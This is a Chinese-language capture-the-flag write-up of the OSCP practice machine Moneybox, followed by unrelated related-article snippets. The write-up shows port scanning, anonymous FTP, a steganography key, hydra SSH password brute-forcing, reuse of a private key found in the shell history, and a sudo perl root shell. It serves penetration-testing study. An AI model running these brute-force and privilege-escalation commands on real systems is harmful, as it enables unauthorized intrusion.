OSCP系列靶场-Esay-Moneybox保姆级
OSCP系列靶场-Esay-Moneybox
目录
- OSCP系列靶场-Esay-Moneybox
- 总结
- 准备工作
- 信息收集-端口扫描
- 目标开放端口收集
- 目标端口对应服务探测
- 信息收集-端口测试
- 21-FTP端口的信息收集
- 21-FTP版本版本信息
- 21-FTP端口匿名登录测试(存在)
- 21-FTP端口-文件GET收集
- 21-FTP端口-PUT上传测试
- 22-SSH端口的信息收集
- 22-SSH端口版本信息与MSF利用
- 22-SSH协议支持的登录方式
- 22-SSH手动登录尝试(无)
- 22-SSH弱口令爆破(静静等待)
- 80-HTTP端口的信息收集
- 信息收集-HTML隐藏信息查看
- 信息收集-目录扫描
- 信息收集-目录扫描初步
- 信息收集-目录访问
- /blogs/端点访问
- /S3cr3t-T3xt端点访问
- 漏洞利用-getwebshell
- key利用
- 信息泄露获得用户名
- SSH爆破登录
- 22-SSH账号密码登录
- 内网遨游-getshell
- FLAG1获取
- 信息收集-内网基础信息收集
- 检测Linux操作系统的发行版本
- 检测Linux操作系统的内核版本
- 检测当前用户的权限
- 列举出所有的sudo文件
- 列举出所有suid文件
- /etc/passwd权限收集
- /etc/shadow权限收集
- getcap标志进程收集
- 列举定时任务
- 查看历史信息
- 列举出所有的sudo文件
- 利用sudo -l寻找
- perl权限提升
- FLAG2获取
- 总结
总结
getwebshell
: 目录扫描发现目录 → HTML
中发现隐藏key
→ FTP
匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda
爆破ssh
进入内部
提 权 思 路
: history
发现存在私钥 → 登录其他用户 → perl
权限提升
准备工作
- 启动VPN
获取攻击机IP →192.168.45.191
- 启动靶机
获取目标机器IP →192.168.162.230
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.162.230PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
开放的端口-→21,22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
信息收集-端口测试
21-FTP端口的信息收集
21-FTP版本版本信息
通过Nmap
探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap
探测信息为21/tcp open ftp vsftpd 3.0.3
# ftp配置文件位置
/etc/vsftpd.conf
21-FTP端口匿名登录测试(存在)
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.162.230
Name: anonymous
21-FTP端口-文件GET收集
登录FTP之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件
# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# cd 查看存储的文件
ftp → cd [file_date_name]
# get 下载文件
ftp → get [file_name]
发现了trytofind.jpg
下载到了本地
打开是一张纯粹的图片,推测有隐写术
21-FTP端口-PUT上传测试
测试是否可以利用PUT
上传文件
# put 上传文件
ftp → put [file_name]
不具备上传功能
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 搜索对应脚本
msf6 → searchsploit openssh 7.9
无
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.162.230 -v
显示publickey
、password
就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root @192.168.162.230 -p 22
# 密码尝试
password → root
弱密码尝试失败
22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
80-HTTP端口的信息收集
访问 http://192.168.162.230:80
不是CMS
我们直接从HTML
隐藏信息收集开始
网站说很简单,我不信(¬︿̫̿¬☆)
信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.162.230:80
无隐藏内容
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.162.230:80 -x 302,403
通过扫描发现了一个新的端点/blogs/
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/blogs/端点访问
从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备
curl
了一下发现了新的隐藏路径S3cr3t-T3xt
/S3cr3t-T3xt端点访问
提示是没有
再curl
了一下,发现了新内容…一个key 3xtr4ctd4t4
漏洞利用-getwebshell
key利用
根据现有内容key
应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码
通过CHATGPT
推荐使用工具 steghide
通过chatgpt
获取对应的工具使用方式
steghide extract -sf -xf -p
其中:
- `` 是包含隐藏信息的图像文件
- `` 是提取的信息输出文件
- `` 是解密隐藏信息的密码
修改成我们需要的样子
steghide extract -sf trytofind.jpg -xf mian.txt
password → 3xtr4ctd4t4
成功获得main.txt
信息泄露获得用户名
打开发现内容 确定密码很简单并且用户名是renu
Hello..... renuI tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......
SSH爆破登录
这样我们可以尝试爆破一下renu
的账户,利用工具hyrda
# -l 指定用户名 -P指定密码字典
hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
成功得到了账号密码信息
[22][ssh] host: 192.168.162.230 login: renu password: 987654321
22-SSH账号密码登录
获取账号密码之后利用SSH进行登录
sudo ssh renu @192.168.162.230 -p22
password → 987654321
成功打入内部,第一步完成
内网遨游-getshell
FLAG1获取
renu @MoneyBox:~$ find / -name local.txt 2→/dev/null
/home/renu/local.txt
renu @MoneyBox:~$ cat /home/renu/local.txt
ad71d6f825f157311d017a8bd94a7e03
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
renu @MoneyBox:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
发行版本为Debian
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
renu @MoneyBox:~$ uname -a
Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux
内核版本为4.19.0
检测当前用户的权限
renu @MoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
发现需要密码,尝试987654321
失败
列举出所有suid文件
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null
/etc/passwd权限收集
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
renu @MoneyBox:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1486 Feb 26 2021 /etc/passwd
/etc/shadow权限收集
- 如果
/etc/shadow
具有写入权限可以尝试覆盖密码提权 - 如果
/etc/shadow
具有可读权限可以爆破密码
renu @MoneyBox:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1095 Oct 11 2022 /etc/shadow
getcap标志进程收集
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null
列举定时任务
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab
查看历史信息
可能用户留下的历史信息具有有用的信息
history
发现存在登录到其他用户的历史命令
ssh -i id_rsa lily @192.168.43.8
查看一下本用户/home
目录下是否存在SSH
密钥
再查看一下lily
目录下是否存在authorized keys
确认存在之后尝试登录lily
的用户
# 修改一下ip
ssh -i id_rsa lily @ 192.168.162.230
登录成功,准备进行新的信息收集
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
利用sudo -l寻找
lily @MoneyBox:~$ sudo -l
Matching Defaults entries for lily on MoneyBox:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser lily may run the following commands on MoneyBox:(ALL : ALL) NOPASSWD: /usr/bin/perl
看到了内容 会心一笑
perl权限提升
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
sudo perl -e 'exec "/bin/sh";'
找到了提权的命令,提权成功
lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
# is
/bin/sh: 1: is: not found
# id
uid=0(root) gid=0(root) groups=0(root)
FLAG2获取
# cat /root/proof.txt
7b0bce8f4b59a3db7d173f3e833e50f8
完结撒花~
总结
查看历史记录也是一件很重要的事情
相关文章:
OSCP系列靶场-Esay-Moneybox保姆级
OSCP系列靶场-Esay-Moneybox 目录 OSCP系列靶场-Esay-Moneybox总结准备工作信息收集-端口扫描目标开放端口收集目标端口对应服务探测 信息收集-端口测试21-FTP端口的信息收集21-FTP版本版本信息21-FTP端口匿名登录测试(存在)21-FTP端口-文件GET收集21-FTP端口-PUT上传测试 22-S…...
[python 刷题] 128 Longest Consecutive Sequence
[python 刷题] 128 Longest Consecutive Sequence 题目: Given an unsorted array of integers nums, return the length of the longest consecutive elements sequence. You must write an algorithm that runs in O(n) time. 这题给了一个没有排序的数组&#x…...
SpringMVC之JSON数据返回与异常处理机制
目录 一.SpringMVC的JSON数据返回 1.导入Maven依赖 2.配置spring-mvc.xml 3.ResponseBody注解的使用 3.1案例演示 1.List集合转JSON 2.Map集合转JSON 3.返回指定格式String 4. ResponseBody用法 5.Jackson 5.1介绍 5.2常用注解 二.异常处理机制 1.为什么要全局异常处…...
【第四阶段】kotlin语言的定义类和field关键字学习
1.普通成员变量背后隐士代码 为什么在kotlin中是private 可以直接调用,隐式代码如下 package Kotlin.Stage4class Test54{var name"kotlin"/*背后做的事NotNullprivate String name"kotlin";public void setName(NotNull String name){this.na…...
OpenResty使用漏桶算法实现限流
前言 其它项目组需要调用接口,添加接口限流,防止项目被狂掉宕机。生产用了openresty,所以在openresty上添加按接口限流,同时,需按照不同接口有不同的限流规则,使用openresty中内置的漏桶算法方式限流。 漏…...
Activiti源码跟踪之模型Model操作
Activiti源码跟踪之模型Model操作 模型model设计到的表ACT_RE_MODEL、ACT_GE_BYTEARRAY ACT_RE_MODEL表结构: CREATE TABLE ACT_RE_MODEL (ID_ varchar(64) COLLATE utf8_bin NOT NULL,REV_ int(11) DEFAULT NULL,NAME_ varchar(255) COLLATE utf8_bin DEFAULT N…...
C#-WinForm-发送邮件
登录QQ邮箱——设置——开启“POP3/SMTP服务” 登陆QQ邮箱→打开设置→开启“POP3/SMTP服务”,获取“授权码” 简单总结一下: 1、使用SmtpClient发送电子邮件是很简单的,只要正确创建了MailMessage对象和SmtpClient就可以很容易的发送出去电…...
Springboot整合jdbc和Mybatis
目录 整合jdbc 1. 新建项目 2. 编写yaml配置文件连接数据库 3. 测试类 使用原生的jdbcTemplate进行访问测试 使用Druid连接池 1. 添加类型 2. 初始化连接池 3. 编写config类 配置Druid数据源监视 整合Mybatis 1. 导入依赖 2. 编写mapper接口 3. 编写实体类 4. 编…...
日常生活中的常用命令及操作
目录 一、Windows11 中查看网卡名称 及ip地址 二、查看硬件的详细信息 三、查看显卡声卡详细信息及厂商 四、C盘清理 第一步 输入wini 开启Windows设置主界面 第二步 存储中还有一个叫存储感知的功能 第三步 更改新内容的保存位置 第四步 怕误C盘内的东西可以 查看详细的…...
【C++杂货铺】国庆中秋特辑——多态由浅入深详细总结
文章目录 一、多态的概念二、多态的定义及实现2.1 多态的构成条件2.2 虚函数2.3 虚函数的重写2.4 虚函数重写的两个例外2.4.1 协变(基类与派生类虚函数返回值类型不同)2.4.2 析构函数的重写(基类与派生类析构函数的名字不同) 2.5 …...
MongoDB基础详解
一、MongoDB概述 MongoDB 是一个基于 分布式文件存储 的开源 NoSQL 数据库系统,由 C 编写的。MongoDB 提供了 面向文档 的存储方式,操作起来比较简单和容易,支持“无模式”的数据建模,可以存储比较复杂的数据类型,是一…...
解锁前端Vue3宝藏级资料 第五章 Vue 组件应用 4 ( provide 和 inject )
5.5 provide 和 inject 前面的知识告诉我们vue中组件之间传递值需要使用props来完成,但是props也有一定局限性。这个时候在vue3中还有另外的解决方法。那就是使用 provide 和 inject 允许父组件将数据传递给所有后代组件,而不管组件层次结构有多深。你要…...
【List篇】LinkedList 详解
目录 成员变量属性构造方法add(), 插入节点方法remove(), 删除元素方法set(), 修改节点元素方法get(), 取元素方法ArrayList 与 LinkedList的区别Java中的LinkedList是一种实现了List接口的 双向链表数据结构。链表是由一系列 节点(Node)组成的,每个节点包含了指向 上一个…...
推动统一供应链“度量衡”,上汽大通突破传统拥抱SaaS生态
中国汽车市场规模已连续14年位居世界第一,目前占世界汽车份额31%。近年来,物联网、人工智能、电池等技术的快速发展,也为中国从汽车大国逐步迈向汽车强国注入巨大动力。在新一轮的汽车产业变革中,构建一个更智能、更高效协同的供应…...
蓝牙核心规范(V5.4)10.9-BLE 入门笔记之GAP
1.概述 蓝牙核心规范的通用访问配置文件(GAP)部分定义了与设备发现和在两个设备之间建立连接有关的过程。如何执行数据的基本无连接通信、如何使用周期性广播(参见 PADVB-LE Periodic Advertising Broadcast)以及如何设置等时通信(参见 LE BIS和LE CIS - Isochronous Com…...
nginx 配置 ssl
1.1 Nginx如果未开启SSL模块,配置Https时提示错误 原因也很简单,nginx缺少http_ssl_module模块,编译安装的时候带上--with-http_ssl_module配置就行了,但是现在的情况是我的nginx已经安装过了,怎么添加模块࿰…...
家居设计软件Live Home 3D Pro mac中文版特点介绍
Live Home 3D Pro mac是一款专业的3D家居设计软件,可以帮助用户轻松创建和设计家居平面图和3D模型,并进行渲染和虚拟漫游。 Live Home 3D Pro mac软件特点 1. 界面友好:Live Home 3D Pro的界面友好,操作简单方便…...
OkHttp - 现代应用网络的方式
官网:Overview - OkHttp HTTP is the way modern applications network. It’s how we exchange data & media. Doing HTTP efficiently makes your stuff load faster and saves bandwidth. OkHttp is an HTTP client that’s efficient by default: HTTP/2 s…...
SpringBoot3基础:最简项目示例
说明 本文建立一个最基本的SpringBoot3项目,依赖项仅包含 spring-web(SpringMVC)。 备注:SpringBoot3需要JDK17支持,配置方法参考: SpringBoot3项目中配置JDK17 项目结构图示 POM <?xml version&qu…...
flex:1详解,以及flex:1和flex:auto的区别
什么是flex:1? 在css中,我们经常可以看到这样的写法: .box {display: flex; }.item {flex: 1; }这里的flex:1相当于flex: 1 1 0%,它是一个简写属性,表示项目(flex item)在弹性容器…...
在VMware虚拟机中固定CentOS系统ip(使用桥接模式)
目录 一、前置说明二、前置准备2.1、切换虚拟机网络为桥接模式2.2、查看本机网络信息 三、配置CentOS系统IP3.1、进入系统输入ip addr 查看本机网络配置名称3.2、查看网络配置目录,网络配置文件名称3.3、修改网络配置文件 ifcfg-ens33 固定IP3.4、重启网络 一、前置…...
怎样才能让百度搜索到自己的博客?--九五小庞
怎么把自己的博客推荐到百度、Google等主要搜索引擎? 如果不把你的博客提交到各大搜索引擎中,它们一般是不会收录你的博客的,你可以先尝试一下看看能不能在百度搜到你的博客吧。 如果搜不到的话说明你的博客还没有被百度收录,那么…...
【学习笔记】多模态综述
多模态综述 前言1. CLIP & ViLT2. ALBEF3. VLMO4. BLIP5. CoCa6. BeiTv3总结参考链接 前言 本篇学习笔记虽然是多模态综述,本质上是对ViLT后多模态模型的总结,时间线为2021年至2022年,在这两年,多模态领域的模型也是卷的飞起…...
MLAgents (0) Unity 安装及运行
1、下载ML-Agents 下载地址 GitHub - Unity-Technologies/ml-agents: The Unity Machine Learning Agents Toolkit (ML-Agents) is an open-source project that enables games and simulations to serve as environments for training intelligent agents using deep reinfo…...
typename关键字详解(消除歧义)
typename关键字详解 文章目录 typename关键字详解定义用法1.和class同义,用于引入泛型编程中所用到的模板参数2.用来消除歧义,告诉编译器后面的是类型名而不是变量名 定义 typename相当于泛型编程中class的同义关键字,用来指出模板类型所依赖…...
设计模式_解释器模式
解释器模式 案例 角色 1 解释器基类 (BaseInterpreter) 2 具体解释器1 2 3... (Interperter 1 2 3 ) 3 内容 (Context) 4 用户 (user) 流程 (上下文) ---- 传…...
【算法基础】数学知识
质数 质数的判定 866. 试除法判定质数 - AcWing题库 时间复杂度是logN #include<bits/stdc.h> using namespace std; int n; bool isprime(int x) {if(x<2) return false;for(int i2;i<x/i;i){if(x%i0) return false;}return true; } signed main() {cin>&g…...
PDCA循环
目录 1.认识PDCA: 2.PDCA循环的经典案例 3.PDCA的四个阶段和八个步骤 4.PDCA循环的优缺点: 5.案例 6.其他作用 1.认识PDCA: PDCA循环最早由美国质量统计控制之父Shewhat(休哈特)提出的PDS(Plan Do Se…...
Redis 缓存雪崩、缓存穿透、缓存击穿
Redis 是一种常用的内存缓存工具,但在某些情况下,它可能会遭受缓存雪崩、缓存穿透和缓存击穿等问题。下面是一些预防这些问题的建议: 1、缓存雪崩 缓存雪崩指的是在某个时间点上,大量的缓存数据同时失效或过期,导致大…...
Android Media3 ExoPlayer 开启缓存功能
ExoPlayer 开启播放缓存功能,在下次加载已经播放过的网络资源的时候,可以直接从本地缓存加载,实现为用户节省流量和提升加载效率的作用。 方法一:采用 ExoPlayer 缓存策略 第 1 步:实现 Exoplayer 参考 Exoplayer 官…...
青浦做网站/上海短视频推广
2019独角兽企业重金招聘Python工程师标准>>> 数据库表如下图1,现在要按照分数对数据进行排序。 图1 图2 图3 方法一 按照分数排序,相同分数…...
苏州高端网站建设kgu/淘宝数据查询
Hadoop解决大规模数据分布式计算的方案是MapReduce。MapReduce既是一个编程模型,又是一个计算框架。也就是说,开发人员必须基于MapReduce编程模型进行编程开发,然后将程序通过MapReduce计算框架分发到Hadoop集群中运行。我们先看一下作为编程…...
天河网站建设设计/网络推广员是干嘛的
数据科学(Data Science)作为一门新兴的学科,很多概念的定义其实没有特别明确。这点跟国内喜欢提的大数据很像。大数据这个概念总让我感觉有点无所适从,因为我实在说不清大数据的明确定义和具体范围。 国外一个做数据服务的网站mango-solutions将从事数据…...
做网站的花费/网址域名注册信息查询
最近在一直做一个东西。设计一种脚本语言,再写一个翻译器,将这种脚本语言翻译成avr-gcc可以执行的C语言程序,再将得到的C语言程序利用avr-gcc编译器编译成Intel的hex文件格式,再写一个类似bootloader的东西,将这个hex文…...
做视频的背景音乐哪里下载网站/河南网站推广
ANT,是Another Neat Tool的意思,字面意思可以叫“另一个整洁的工具”。英文单词ant是蚂蚁的意思。可以用命令行启动Ant。开发Ant的和开发Tomcat的是同一个软件工程师,他叫James Duncan Davidson。一开始Ant是James自己用于编译Tomcat的时候用…...
办公室装修风格图/竞价关键词优化软件
找到webpack.config.prod.js 在loaders增加 {test: /\.less$/,loader: ExtractTextPlugin.extract(style, css!less) },...